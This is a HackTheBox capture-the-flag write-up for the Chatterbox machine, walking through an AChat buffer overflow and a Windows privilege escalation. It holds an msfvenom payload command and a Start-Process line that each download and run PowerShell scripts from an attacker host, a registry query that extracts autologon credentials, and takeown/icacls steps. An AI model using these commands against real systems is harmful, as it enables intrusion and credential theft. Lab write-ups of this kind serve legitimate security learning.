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Chatterbox -- HackTheBox (write-up)

Difficulty: Medium Box: Chatterbox (HackTheBox) Author: dsec Date: 2025-09-16

TL;DR

Buffer overflow exploit (AChat) with unicode-encoded payload for initial shell. Registry autologon creds reused for Administrator. Had to run as Administrator (not SYSTEM) to read root.txt.

Target info

  • Host: 10.10.10.74
  • Services discovered: 9255/tcp (AChat), 9256/tcp (AChat)

Enumeration

Nmap results

Nmap continued

Initial access

Generated unicode-encoded payload for the AChat buffer overflow exploit:

msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \IEX(New-Object Net.WebClient).downloadString('http://10.10.14.142/writeup.ps1')" -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

Copied output into the 36025.py exploit and ran it:

Shell

Privilege escalation

Checked autologon creds in the registry:

Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' | Select-Object DefaultUserName, DefaultPassword, AutoAdminLogon

Autologon creds

Found: Alfred:Welcome1!

Creds didn't work as Alfred, but did work with Administrator (password reuse):

psexec

Access denied on root.txt -- need to be chatterbox\administrator, not nt authority\system.

From Alfred's shell, created a credential object and spawned a new shell as Administrator:

$passwd = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force

SecureString

$creds = New-Object System.Management.Automation.PSCredential('administrator', $passwd)

PSCredential

Start-Process -FilePath "powershell" -ArgumentList "-Command IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.142/writeup2.ps1')" -Credential $creds

Spawning shell

Administrator shell

Alternatively, from SYSTEM shell, take ownership of the file:

takeown /f "C:\Users\Administrator\Desktop\root.txt"
dir /q "C:\Users\Administrator\Desktop\root.txt"
icacls "C:\Users\Administrator\Desktop\root.txt" /grant SYSTEM:F

takeown

Lessons & takeaways

  • The -b switch in msfvenom excludes bad bytes, forcing use of an encoder like x86/unicode_mixed
  • Always check registry autologon creds and test for password reuse with Administrator
  • psexec.py gives SYSTEM, not Administrator -- file ACLs owned by Administrator may require takeown/icacls or spawning a shell as the actual Administrator user